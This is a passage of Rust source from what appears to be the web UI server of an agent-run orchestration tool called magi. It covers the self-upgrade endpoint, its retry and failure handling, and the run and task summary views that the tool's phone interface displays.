3592        return None;
3593    }
3594    let mut total = 0u64;
3595    while !rest.is_empty() {
3596        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3597        let amount: u64 = rest[..n].parse().ok()?;
3598        let scale = match rest[n..].chars().next()? {
3599            's' => 1,
3600            'm' => 60,
3601            'h' => 3600,
3602            'd' => 86400,
3603            _ => return None,
3604        };
3605        total = total.checked_add(amount.checked_mul(scale)?)?;
3606        rest = rest[n + 1..].trim_start();
3607    }
3608    Some(total)
3609}
3610
3611#[derive(Debug, Clone, Serialize)]
3612struct UpgradeRequestFailure {
3613    occurred_at: String,
3614    error: String,
3615    retry_after_secs: Option<u64>,
3616    /// Unix seconds; independent of the phone's polling cadence.
3617    retry_at: Option<u64>,
3618}
3619
3620impl UpgradeRequestFailure {
3621    fn new(error: String) -> Self {
3622        let retry_after_secs = upgrade_retry_after(&error);
3623        let now = std::time::SystemTime::now()
3624            .duration_since(std::time::UNIX_EPOCH)
3625            .unwrap_or_default()
3626            .as_secs();
3627        Self {
3628            occurred_at: jiff::Timestamp::now().to_string(),
3629            error,
3630            retry_after_secs,
3631            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3632        }
3633    }
3634}
3635
3636/// `POST /api/upgrade` - replace this binary with the newest release and come
3637/// back on it.
3638///
3639/// Replace the installed binary, restart the detached scheduler, release the
3640/// web listener, then start the successor. Active task and conversation
3641/// workers retain their immutable executable and continue without parking.
3642///
3643/// A legacy embedded scheduler is the only incompatible owner: its work
3644/// must finish or park before the first migration replaces its process.
3645///
3646/// Answers **202**: the reply has to reach the phone while this process can
3647/// still send one, and the phone learns the deck is back by reconnecting.
3648async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3649    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3650}
3651
3652async fn begin_upgrade(
3653    ui: &Arc<Ui>,
3654    trigger: updater::UpgradeTrigger,
3655    latest: Option<kaishin::LatestRelease>,
3656) -> Response {
3657    let reading = daemon::read_status(&ui.home);
3658    if let Some(other) = Foreign::of(reading.as_ref()) {
3659        return ApiError::conflict(format!(
3660            "{} is a legacy scheduler without detached restart support. \
3661             Finish or explicitly park its work in the existing UI before \
3662             this first migration; independent schedulers do not need this.",
3663            other.who()
3664        ))
3665        .into_response();
3666    }
3667
3668    // A second upgrade while one is moving would replace the binary and
3669    // signal the handover again after `serve` already consumed the first
3670    // signal, leaving the process in `replaced` forever. Try-lock rather than
3671    // wait: a phone connection must not hang behind a GitHub round trip.
3672    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3673        return ApiError::conflict("another request is already preparing an upgrade")
3674            .into_response();
3675    };
3676    // Hold the same gate through recording/clearing the request outcome, so
3677    // an older response cannot overwrite a retry's result.
3678    if trigger == updater::UpgradeTrigger::Auto {
3679        let cfg = match Config::discover(&ui.repo, None) {
3680            Ok((cfg, _)) => cfg,
3681            Err(e) => {
3682                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3683            }
3684        };
3685        let Some(latest) = latest else {
3686            return StatusCode::NO_CONTENT.into_response();
3687        };
3688        let in_motion = ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3689            || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some();
3690        let decision = {
3691            let failed = ui
3692                .auto_failed_tag
3693                .lock()
3694                .unwrap_or_else(PoisonError::into_inner);
3695            auto_upgrade_decision(
3696                &cfg.update,
3697                updater::disabled_by_env(),
3698                in_motion,
3699                &latest.tag_name,
3700                failed.as_deref(),
3701            )
3702        };
3703        if let AutoUpgradeDecision::Skip(reason) = decision {
3704            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3705            return StatusCode::NO_CONTENT.into_response();
3706        }
3707        return finish_upgrade_request(
3708            ui,
3709            upgrade_checked_for(
3710                ui,
3711                env!("CARGO_PKG_VERSION").into(),
3712                Ok(Some(latest)),
3713                trigger,
3714            ),
3715        );
3716    }
3717    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3718}
3719
3720fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3721    match result {
3722        Ok(out) => {
3723            *ui.upgrade_request_error
3724                .lock()
3725                .unwrap_or_else(PoisonError::into_inner) = None;
3726            out.into_response()
3727        }
3728        Err(error) if error.status != StatusCode::CONFLICT => {
3729            let failure = UpgradeRequestFailure::new(error.message);
3730            *ui.upgrade_request_error
3731                .lock()
3732                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3733            let mut response = (error.status, Json(&failure)).into_response();
3734            if let Some(value) = failure
3735                .retry_after_secs
3736                .and_then(|secs| secs.to_string().parse().ok())
3737            {
3738                response.headers_mut().insert("retry-after", value);
3739            }
3740            response
3741        }
3742        Err(error) => error.into_response(),
3743    }
3744}
3745
3746async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3747    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3748        return Err(ApiError::conflict(
3749            "an upgrade is already in progress (this process started one and it \
3750             has not finished or failed yet)",
3751        ));
3752    }
3753    let recorded = updater::read_progress(&ui.home);
3754    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3755        return Err(ApiError::conflict(format!(
3756            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3757             stays stuck, restart the deck; on start it settles a stale record.",
3758            p.stage.as_str(),
3759            p.from,
3760            p.to.as_deref().unwrap_or("?"),
3761        )));
3762    }
3763
3764    // The same kill switch the background check honours (`disabled_by_env`),
3765    // checked before anything else for the same reason it is read before the
3766    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3767    // contact GitHub from this process", and a button press must not
3768    // override that any more than a broken `magi.toml` may.
3769    if crate::updater::disabled_by_env() {
3770        return Ok((
3771            StatusCode::OK,
3772            Json(UpgradeView {
3773                from: env!("CARGO_PKG_VERSION").to_owned(),
3774                to: None,
3775                detail: format!(
3776                    "Automatic updates are disabled by {}. Nothing was parked \
3777                     and nothing restarted.",
3778                    crate::updater::NO_AUTOUPDATE_ENV
3779                ),
3780            }),
3781        ));
3782    }
3783
3784    // Check before disturbing listeners or scheduling: no available update
3785    // means there is no reason to restart anything.
3786    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3787    let from = env!("CARGO_PKG_VERSION").to_owned();
3788    let latest = match crate::updater::Checker::new(&cfg.update) {
3789        Some(checker) => checker.newer_release().await,
3790        None => Ok(None),
3791    };
3792    upgrade_checked(ui, from, latest)
3793}
3794
3795fn upgrade_checked(
3796    ui: &Arc<Ui>,
3797    from: String,
3798    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3799) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3800    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3801}
3802
3803fn upgrade_checked_for(
3804    ui: &Arc<Ui>,
3805    from: String,
3806    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3807    trigger: updater::UpgradeTrigger,
3808) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3809    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3810    let Some(latest) = latest else {
3811        return Ok((
3812            StatusCode::OK,
3813            Json(UpgradeView {
3814                from,
3815                to: None,
3816                detail: "Already on the newest release. Nothing was parked \
3817                         and nothing restarted."
3818                    .to_owned(),
3819            }),
3820        ));
3821    };
3822
3823    if let Err(error) = daemon::scheduler_restart_options(&ui.home) {
3824        let detail = format!("cannot determine scheduler restart state: {error:#}");
3825        if trigger == updater::UpgradeTrigger::Auto {
3826            updater::log_warn(&ui.home, &format!("auto-upgrade: {detail}"));
3827        }
3828        return Err(ApiError::internal(detail));
3829    }
3830    if trigger == updater::UpgradeTrigger::Auto {
3831        updater::log_step(&ui.home, "auto-upgrade: beginning update and restart");
3832    }
3833
3834    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3835
3836    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3837    // poll must see a `Downloading` stage immediately, not whenever the
3838    // spawned task happens to get scheduled.
3839    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3840    progress.trigger = trigger;
3841    updater::write_progress_logged(&ui.home, &progress);
3842
3843    let home = ui.home.clone();
3844    ui.upgrade_spawned
3845        .store(true, std::sync::atomic::Ordering::SeqCst);
3846    let spawned = Arc::clone(&ui.upgrade_spawned);
3847    let runner = ui.upgrade_runner;
3848    let failed = ui.auto_failed_tag.clone();
3849    let tag = latest.tag_name.clone();
3850    tokio::spawn(async move {
3851        if let Err(e) = runner(home.clone()).await {
3852            if trigger == updater::UpgradeTrigger::Auto {
3853                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3854            }
3855            tracing::error!("the upgrade did not complete: {e:#}");
3856            // A failure of this attempt says nothing about a handover an
3857            // earlier request already has in flight; checked and written
3858            // under the progress lock.
3859            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3860            // Release only after failure bookkeeping, before accepting a retry.
3861            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3862        }
3863    });
3864
3865    Ok((
3866        StatusCode::ACCEPTED,
3867        Json(UpgradeView {
3868            from,
3869            to: Some(latest.tag_name),
3870            detail,
3871        }),
3872    ))
3873}
3874
3875/// Replace the binary, then ask [`serve`] to hand the address over.
3876///
3877/// Separated from the handler so the 202 is already on its way, and separated
3878/// from the spawn so the successor starts only after the listener is dropped.
3879async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3880    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3881    // hang the upgrade for as long as the process lives.
3882    crate::updater::run_self_update(true, false, true).await?;
3883    updater::log_step(&home, "binary replaced - recording the replaced stage");
3884    if let Some(mut progress) = updater::read_progress(&home) {
3885        progress.advance(updater::Stage::Replaced);
3886        updater::write_progress_logged(&home, &progress);
3887    }
3888    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3889    HANDOVER.notify_one();
3890    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3891    Ok(())
3892}
3893
3894/// One row in the run list.
3895///
3896/// The list route returns this rather than whole `RunState`s: the summary of a
3897/// run is a few hundred bytes and the state is megabytes, and the difference
3898/// is what makes the history usable on a mobile link.
3899#[derive(Debug, Serialize)]
3900struct RunSummary {
3901    activity: String,
3902    id: String,
3903    short: String,
3904    status: String,
3905    done: bool,
3906    instruction: String,
3907    title: String,
3908    repo: String,
3909    repo_name: String,
3910    created_at: String,
3911    updated_at: String,
3912    candidates: usize,
3913    viable: usize,
3914    judges: usize,
3915    winner: Option<char>,
3916    reviews: usize,
3917    quota_losses: usize,
3918    event: Option<String>,
3919    /// The later attempt at the same task that replaced this one, if any.
3920    ///
3921    /// Two cards with one title is otherwise unreadable: this is what lets
3922    /// the deck say "superseded by 4043" on the older of the pair.
3923    superseded_by: Option<String>,
3924    /// Blocked on a question nobody has answered.
3925    ///
3926    /// Derived from the question store rather than stored on the run: an agent
3927    /// calling `magi ask` blocks mid-node, and writing a status from there
3928    /// would race the graph's own save of `run.json` and be overwritten at the
3929    /// next node boundary. Asking the store is always true and never races.
3930    waiting: bool,
3931    /// Whether the process recorded as driving this run can still be proven
3932    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3933    /// rather than presenting its last graph node as still in flight.
3934    live: crate::run::Liveness,
3935    /// The land loop's last look at the pull request, when there is one.
3936    pr: Option<crate::run::PrRecord>,
3937    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3938    /// design — never picked up by the PR-polling merge watcher, unlike an
3939    /// ordinary `Ready` that may still be a live landing candidate. See
3940    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3941    /// re-deriving the same check from `status` and `merge.mode` itself.
3942    unmerged_by_design: bool,
3943    /// Derived presentation status matching [`RunDetailView::display_status`].
3944    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3945    #[serde(default)]
3946    display_status: String,
3947    /// What the status badge shows: `display_status`, or `superseded` for a
3948    /// non-live run a later attempt replaced. See [`run_badge_status`].
3949    #[serde(default)]
3950    badge_status: String,
3951    /// Who started the run, as the one label every surface shares; the
3952    /// "origin unknown" wording when the record predates origins.
3953    origin_label: String,
3954}
3955
3956impl RunSummary {
3957    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3958        Self {
3959            activity: crate::run_progress::activity(state, live, waiting),
3960            id: state.id.clone(),
3961            short: state.short().to_owned(),
3962            status: status_word(state.status),
3963            done: state.status.done(),
3964            unmerged_by_design: state.unmerged_by_design(),
3965            display_status: run_display_status(state, waiting, live),
3966            badge_status: run_display_status(state, waiting, live),
3967            instruction: state.instruction.clone(),
3968            title: title_from(&state.instruction, TITLE_MAX),
3969            repo: state.repo.display().to_string(),
3970            repo_name: state
3971                .repo
3972                .file_name()
3973                .map(|n| n.to_string_lossy().into_owned())
3974                .unwrap_or_default(),
3975            created_at: state.created_at.to_string(),
3976            updated_at: state.updated_at.to_string(),
3977            candidates: state.candidates.len(),
3978            viable: state.viable().len(),
3979            judges: state.config.graph.judges,
3980            winner: state.winner().map(|c| c.label),
3981            reviews: state.reviews.len(),
3982            quota_losses: state.quota.len(),
3983            event: state
3984                .verification_blocking_cause()
3985                .or_else(|| state.events.last().map(|e| e.message.clone())),
3986            waiting,
3987            live,
3988            // Filled in by the list route, which is the only place that can
3989            // see a task's other attempts.
3990            superseded_by: None,
3991            pr: state.pr.clone(),
3992            origin_label: crate::run::origin_label(state.origin.as_ref()),
3993        }
3994    }
3995}
3996
3997/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3998/// the same string `serde` writes for the status inside a full run.
3999fn status_word(status: RunStatus) -> String {
4000    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
4001    // was a third way of naming the same statuses, and one that changed
4002    // silently with a derive.
4003    status.as_str().to_owned()
4004}
4005
4006/// The presentation status for a run, unified across summaries and details.
4007///
4008/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
4009/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
4010/// runs awaiting operator answers.
4011fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
4012    if waiting {
4013        return "waiting".to_owned();
4014    }
4015    if state.unmerged_by_design() {
4016        return "unmerged".to_owned();
4017    }
4018    if !state.status.done() && live == crate::run::Liveness::Dead {
4019        // The driver claim clears this flag before saving another event.
4020        // A previous park event can therefore outlive a resumed driver.
4021        if state.parked {
4022            return "parked".to_owned();
4023        }
4024        return "stale".to_owned();
4025    }
4026    status_word(state.status)
4027}
4028
4029/// The word a run's status badge shows: `display_status`, except that a
4030/// non-terminal run which is not provably live and was replaced by a later
4031/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
4032///
4033/// Same judgement `magi show` uses (`RunState::liveness`, the task's
4034/// successor); a live driver, `Unknown` liveness and terminal runs keep their
4035/// own word, so superseded never claims more than "not live".
4036fn run_badge_status(
4037    state: &RunState,
4038    display_status: &str,
4039    live: crate::run::Liveness,
4040    superseded: bool,
4041) -> String {
4042    if state.status.done() || live == crate::run::Liveness::Live {
4043        return display_status.to_owned();
4044    }
4045    if superseded {
4046        return "superseded".to_owned();
4047    }
4048    // A dead run's `display_status` is `stale`, except that a deliberate park
4049    // and an open owner question keep their own word: neither is a crash, and
4050    // the question still needs an answer. Anything else dead reads `stale`.
4051    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
4052        return "stale".to_owned();
4053    }
4054    display_status.to_owned()
4055}
4056
4057/// `?limit=`, clamped by the handler.
4058#[derive(Debug, Deserialize)]
4059struct ListQuery {
4060    #[serde(default)]
4061    limit: Option<usize>,
4062    /// Exact ids only; an empty value requests no rows (except queue blockers).
4063    ids: Option<String>,
4064}
4065
4066impl ListQuery {
4067    fn contains(&self, id: &str) -> bool {
4068        self.ids
4069            .as_ref()
4070            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
4071    }
4072}
4073
4074async fn runs_list(
4075    State(ui): State<Arc<Ui>>,
4076    Query(q): Query<ListQuery>,
4077) -> ApiResult<Json<Vec<RunSummary>>> {
4078    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
4079    blocking(move || {
4080        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4081        let states = run_ids(&ui.runs)
4082            .into_iter()
4083            // A run whose state cannot be read is skipped, not fatal: a run
4084            // killed mid-write must not blank the history of every other one.
4085            // The detail route still explains it, which is where an operator
4086            // asking "what happened to that run" ends up.
4087            .filter_map(|id| read_run(&ui.runs, &id).ok())
4088            .take(limit)
4089            .filter(|run| q.contains(&run.id));
4090        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4091        let summaries = summarize(
4092            states,
4093            &open_runs,
4094            &claimed,
4095            &superseded,
4096            |p| probe.borrow_mut().status(p),
4097            |p| probe.borrow_mut().started_at(p),
4098        );
4099        Ok(Json(summaries))
4100    })
4101    .await
4102}
4103
4104/// Everything the per-run rows share, read once: runs with an open question,
4105/// runs a live daemon claims, and the superseded map. Asking per run re-read
4106/// every question file and the daemon status file for each of hundreds of
4107/// runs, and spawned a process probe per run on Windows.
4108fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
4109    let open_runs: HashSet<String> = ui
4110        .questions
4111        .list()
4112        .into_iter()
4113        .filter(|q| q.status.open())
4114        .map(|q| q.run)
4115        .collect();
4116    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4117        .into_iter()
4118        .map(|c| c.run)
4119        .collect();
4120    (open_runs, claimed, ui.queue.superseded())
4121}
4122
4123/// The rows of the run list, given everything that is shared between them.
4124///
4125/// Pure over its inputs so a test can count how often the process queries are
4126/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4127/// takes, called at most once per run.
4128fn summarize<I, S, D>(
4129    states: I,
4130    open_runs: &HashSet<String>,
4131    claimed: &HashSet<String>,
4132    superseded: &HashMap<String, String>,
4133    mut status_q: S,
4134    mut identity_q: D,
4135) -> Vec<RunSummary>
4136where
4137    I: IntoIterator<Item = RunState>,
4138    S: FnMut(u32) -> Option<bool>,
4139    D: FnMut(u32) -> Option<String>,
4140{
4141    states
4142        .into_iter()
4143        .map(|state| {
4144            let waiting = open_runs.contains(&state.id);
4145            let live =
4146                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4147            let mut row = RunSummary::of(&state, waiting, live);
4148            row.superseded_by = state
4149                .pr_taken_over_by
4150                .as_ref()
4151                .or_else(|| superseded.get(&state.id))
4152                .map(String::as_str)
4153                .map(crate::run::short_of)
4154                .map(str::to_owned);
4155            row.badge_status = run_badge_status(
4156                &state,
4157                &row.display_status,
4158                live,
4159                row.superseded_by.is_some(),
4160            );
4161            row
4162        })
4163        .collect()
4164}
4165
4166/// A run as the detail route hands it to the phone.
4167///
4168/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4169/// the instruction as markdown, and the raw `instruction` field this struct
4170/// still carries (unchanged) is what a client wanting the exact bytes reads
4171/// instead.
4172#[derive(Debug, Serialize)]
4173struct RunDetailView {
4174    progress: crate::run_progress::Progress,
4175    stop_reason: Option<String>,
4176    #[serde(flatten)]
4177    state: RunState,
4178    instruction_md: Vec<md::Node>,
4179    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4180    /// mirror the records they come from, index for index; the raw strings
4181    /// stay in `state` and decide whether a block is shown at all.
4182    #[serde(flatten)]
4183    prose_md: RunProseMd,
4184    /// Whether a process is actually still driving this run: `"live"`,
4185    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4186    ///
4187    /// `state.active` (flattened in above) is only ever cleared by the
4188    /// process that populated it; a killed one leaves its last wave's
4189    /// entries behind. Carrying this alongside is what lets the phone rail
4190    /// tell "this seat is still answering" from "this seat was still
4191    /// answering when whatever was driving this run died" without a second
4192    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4193    /// proof of either. A string rather than a bool on purpose: a daemon
4194    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4195    /// and neither proven is `"unknown"` — folding that third case into
4196    /// either end of a bool is exactly the wrong call for a phone screen an
4197    /// operator uses to decide whether to wait or to act.
4198    live: crate::run::Liveness,
4199    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4200    /// alongside the flattened `state` rather than inside it, since
4201    /// `RunState` has no business knowing which of its own methods a caller
4202    /// wants serialized.
4203    unmerged_by_design: bool,
4204    /// Same field and meaning as [`RunSummary::waiting`].
4205    #[serde(default)]
4206    waiting: bool,
4207    /// Same derived presentation status as [`RunSummary::display_status`].
4208    #[serde(default)]
4209    display_status: String,
4210    /// Same field and meaning as [`RunSummary::badge_status`].
4211    #[serde(default)]
4212    badge_status: String,
4213    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4214    /// terminal. The client's `landView` keys on it, and the flattened state
4215    /// has no such field, so without it a finished run's stale `open` PR
4216    /// would be painted as live on the detail page.
4217    done: bool,
4218    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4219    /// route fills it from [`Queue::superseded`], the detail route from
4220    /// [`Queue::superseded_by`], and both read the same underlying task
4221    /// order. Without this the detail page could only ever show a red
4222    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4223    /// with nothing anywhere saying so — an operator opening it had no way
4224    /// to tell "this is done elsewhere" from "this still needs a retry".
4225    superseded_by: Option<String>,
4226    /// The task's current attempt, when this run is an older one — resolved
4227    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4228    /// the client to derive.
4229    ///
4230    /// Three things a client cannot safely do on its own drove this onto the
4231    /// server: it has to name the chain's *current head*, not just the next
4232    /// attempt (`superseded_by` above), because an intermediate retry in a
4233    /// longer chain can itself still be unresolved; it has to resolve to a
4234    /// real id rather than a short id a client would have to guess a full id
4235    /// from, which is ambiguous the moment two runs share a suffix; and it
4236    /// has to read that head's own status directly, because whether a run
4237    /// list a client happens to have cached even contains that attempt
4238    /// depends on a page limit this route knows nothing about.
4239    latest_attempt: Option<LatestAttempt>,
4240    /// The queue task this run belongs to, so the detail page can link back
4241    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4242    task: Option<TaskRef>,
4243    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4244    /// run recorded before origins existed. `origin` itself (flattened in
4245    /// with `state`) is `null` in that case.
4246    origin_label: String,
4247    /// Each recorded pass over this run, with the cause it stopped for. Empty
4248    /// for a run from before passes were kept: its earlier passes are unknown.
4249    pass_views: Vec<PassView>,
4250}
4251
4252/// A task named from a run's detail page.
4253#[derive(Debug, Serialize)]
4254struct TaskRef {
4255    id: String,
4256    short: String,
4257    title: String,
4258    /// [`Source::label`], e.g. `chat@a1b2`.
4259    source_label: String,
4260    /// Where the task came from, when that place has a page; see [`source_link`].
4261    source_link: Option<SourceLink>,
4262    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4263    status: &'static str,
4264    attempts: usize,
4265    max_attempts: usize,
4266    /// This run is the last entry of the task's run list.
4267    is_latest: bool,
4268    /// The task's newest run, when it is not this one.
4269    latest: Option<RunBrief>,
4270    /// The run that finished a `done` task (merged, or already in the base).
4271    finished_by: Option<RunBrief>,
4272    /// The task is `done` but no run on record finished it: closed by hand.
4273    closed_by_hand: bool,
4274}
4275
4276/// The page that filed a task, as the UI links to it.
4277#[derive(Debug, PartialEq, Eq, Serialize)]
4278struct SourceLink {
4279    /// `chat` (a conversation) or `run` (a run's node).
4280    kind: &'static str,
4281    /// The full id, never the short one in the label.
4282    id: String,
4283    /// The hash route that opens it.
4284    href: String,
4285}
4286
4287/// Percent-encode everything outside the URL-unreserved set.
4288fn encode_segment(raw: &str) -> String {
4289    let mut out = String::with_capacity(raw.len());
4290    for b in raw.bytes() {
4291        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4292            out.push(b as char);
4293        } else {
4294            out.push_str(&format!("%{b:02X}"));
4295        }
4296    }
4297    out
4298}
4299
4300/// The one place that decides where a task's source links to. A chat
4301/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4302/// a person or an imported issue has no page, so no link.
4303fn source_link(source: &Source) -> Option<SourceLink> {
4304    let Source::Agent { run, node } = source else {
4305        return None;
4306    };
4307    let (kind, route) = if node == crate::queue::CHAT_NODE {
4308        ("chat", "chat")
4309    } else {
4310        ("run", "runs")
4311    };
4312    Some(SourceLink {
4313        kind,
4314        id: run.clone(),
4315        href: id_links::page_href(route, run),
4316    })
4317}
4318
4319/// The parent task of a follow-up, when its file can still be read.
4320#[derive(Debug, Serialize, PartialEq)]
4321struct FollowUpParent {
4322    id: String,
4323    short: String,
4324    title: String,
4325    /// The parent's own status (`TaskStatus::as_str`).
4326    status: &'static str,
4327    href: String,
4328}
4329
4330/// The merged run a follow-up was filed from.
4331#[derive(Debug, Serialize, PartialEq)]
4332struct FollowUpRun {
4333    id: String,
4334    short: String,
4335    /// `None` when the run's record cannot be read.
4336    status: Option<&'static str>,
4337    /// `None` unless the record could be read: never a dead link.
4338    href: Option<String>,
4339}
4340
4341/// Where a follow-up task came from, resolved once per task page so the flow
4342/// chart and the detail block cannot disagree. See [`followup_origin`].
4343#[derive(Debug, Serialize, PartialEq)]
4344struct FollowUpOrigin {
4345    /// Present only when `origin_task` is set and that task still exists.
4346    parent: Option<FollowUpParent>,
4347    run: FollowUpRun,
4348    /// The merged pull request, verbatim. Not an href: the client passes it
4349    /// through `forgeUrl()` and renders text when that refuses it (the one
4350    /// exception to "the href rule is Rust's alone", since a forge URL is
4351    /// data from a record, not a route).
4352    pr: String,
4353    findings: Vec<String>,
4354    generation: u32,
4355}
4356
4357/// The one place that decides what a follow-up links to. A parent that cannot
4358/// be read (gone, or an id that names nothing) is `None`, never an error.
4359fn followup_origin(
4360    fu: &crate::queue::FollowUp,
4361    task: impl Fn(&str) -> Option<Task>,
4362    run: impl Fn(&str) -> Option<RunState>,
4363) -> FollowUpOrigin {
4364    let parent = fu
4365        .origin_task
4366        .as_deref()
4367        .and_then(task)
4368        .map(|t| FollowUpParent {
4369            short: t.short().to_owned(),
4370            href: format!("#/tasks/{}", encode_segment(&t.id)),
4371            status: t.status.as_str(),
4372            title: t.title,
4373            id: t.id,
4374        });
4375    let state = run(&fu.run);
4376    FollowUpOrigin {
4377        parent,
4378        run: FollowUpRun {
4379            short: run::short_of(&fu.run).to_owned(),
4380            status: state.as_ref().map(|s| s.status.as_str()),
4381            href: state
4382                .is_some()
4383                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4384            id: fu.run.clone(),
4385        },
4386        pr: fu.pr.clone(),
4387        findings: fu.findings.clone(),
4388        generation: fu.generation,
4389    }
4390}
4391
4392/// Another run of the same task, as named from a run's detail page.
4393#[derive(Debug, Serialize)]
4394struct RunBrief {
4395    id: String,
4396    short: String,
4397    /// `None` when the run's record cannot be read.
4398    status: Option<&'static str>,
4399    /// The task-page wording for how that pass ended.
4400    outcome: String,
4401    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4402    badge: Option<String>,
4403}
4404
4405/// The task's overall outcome as seen from `this_run`'s page, classified with
4406/// the same exits the task page's flowchart uses.
4407fn task_outcome(
4408    task: &Task,
4409    this_run: &str,
4410    max_attempts: usize,
4411    read: impl Fn(&str) -> Option<RunState>,
4412) -> TaskRef {
4413    let max_attempts = task.effective_attempt_limit(max_attempts);
4414    let history = task_history(task, read);
4415    let brief = |h: &TaskRunView| RunBrief {
4416        id: h.id.clone(),
4417        short: h.short.clone(),
4418        status: h.status,
4419        outcome: h.exit.edge_label(h.status),
4420        badge: h.badge.clone(),
4421    };
4422    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4423    let latest = if is_latest {
4424        None
4425    } else {
4426        history.last().map(brief)
4427    };
4428    let done = task.status == TaskStatus::Done;
4429    let finished_by = done
4430        .then(|| {
4431            history
4432                .iter()
4433                .rev()
4434                .find(|h| {
4435                    matches!(
4436                        h.exit,
4437                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4438                    )
4439                })
4440                .map(brief)
4441        })
4442        .flatten();
4443    TaskRef {
4444        short: task.short().to_owned(),
4445        title: task.title.clone(),
4446        id: task.id.clone(),
4447        source_label: task.source_label(),
4448        source_link: source_link(&task.source),
4449        status: task.status.as_str(),
4450        attempts: task.attempts,
4451        max_attempts,
4452        is_latest,
4453        latest,
4454        closed_by_hand: done && finished_by.is_none(),
4455        finished_by,
4456    }
4457}
4458
4459/// The task's current attempt, as seen from an older one's detail page.
4460#[derive(Debug, Serialize)]
4461struct LatestAttempt {
4462    id: String,
4463    short: String,
4464    /// Whether this attempt itself settled with a result nobody needs to
4465    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4466    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4467    /// unconfirmed claim that no change was needed, which is exactly why it
4468    /// settles the task through `Held` rather than `Done` and still waits on
4469    /// a human to check the evidence; showing an older run as "finished
4470    /// elsewhere" on the strength of an unverified claim would bury the
4471    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4472    /// in-flight status are excluded because they are exactly the
4473    /// unresolved states this field exists to tell apart from a real finish.
4474    resolved: bool,
4475    /// The attempt's own recorded status, so the page can say where it
4476    /// stands while it is not resolved yet.
4477    status: RunStatus,
4478    /// Whether that status is terminal (nothing is still running it).
4479    done: bool,
4480}
4481
4482/// Markdown for the free-text prose of a run, parallel to `RunState`.
4483#[derive(Debug, Default, Serialize)]
4484struct RunProseMd {
4485    /// `None` when the run has no design deliberation.
